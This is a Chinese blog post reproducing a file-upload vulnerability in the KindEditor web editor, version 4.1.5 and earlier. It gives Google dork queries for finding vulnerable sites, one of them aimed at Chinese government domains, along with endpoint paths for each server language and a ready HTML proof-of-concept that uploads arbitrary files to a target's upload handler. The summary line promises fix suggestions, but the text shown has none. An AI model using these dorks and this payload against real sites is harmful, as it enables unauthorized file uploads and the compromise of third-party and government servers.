kindeditor编辑器＜=4.1.5上传漏洞复现_kindeditor4.1.5 api-优快云博客

本文链接：https://blog.youkuaiyun.com/p_utao/article/details/111051813

本文介绍了一种针对KindEditor编辑器的脚本上传漏洞利用方法，包括如何通过特定语法搜索潜在的目标，利用POC进行漏洞验证，并提出了两种修复建议。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

前期

谷歌语法搜索

inurl:/examples/uploadbutton.html

inurl:/php/upload_json.php

inurl:/asp.net/upload_json.ashx

inurl://jsp/upload_json.jsp

inurl://asp/upload_json.asp

inurl:gov.cn/kindeditor/

首先一定要看脚本语言，对症下药

/asp/upload_json.asp

/asp.net/upload_json.ashx

/jsp/upload_json.jsp

/php/upload_json.php

查看是否存在那种脚本上传漏洞

kindeditor/asp/upload_json.asp?dir=file

kindeditor/asp.net/upload_json.ashx?dir=file

kindeditor/jsp/upload_json.jsp?dir=file

kindeditor/php/upload_json.php?dir=file

复现

1.查看版本信息

http://www.xxx.org/kindeditor//kindeditor.js

在这里插入图片描述
2.查看是否存在该路径

http://xxxxxxxxxxxxx/kindeditor/php/upload_json.php?dir=file

在这里插入图片描述
大佬给的poc,这里需要修改

<html><head>
<title>Uploader</title>
<script src="http://xxxxxxxxxxxxxxx/kindeditor/kindeditor.js"></script>
<script>
KindEditor.ready(function(K) {
var uploadbutton = K.uploadbutton({
button : K('#uploadButton')[0],
fieldName : 'imgFile',
url : 'http://xxxxxxxxxxxxxxx/kindeditor/php/upload_json.php?dir=file',
afterUpload : function(data) {
if (data.error === 0) {
var url = K.formatUrl(data.url, 'absolute');
K('#url').val(url);}
},
});
uploadbutton.fileBox.change(function(e) {
uploadbutton.submit();
});
});
</script></head><body>
<div class="upload">
<input class="ke-input-text" type="text" id="url" value="" readonly="readonly" />
<input type="button" id="uploadButton" value="Upload" />
</div>
</body>
</html>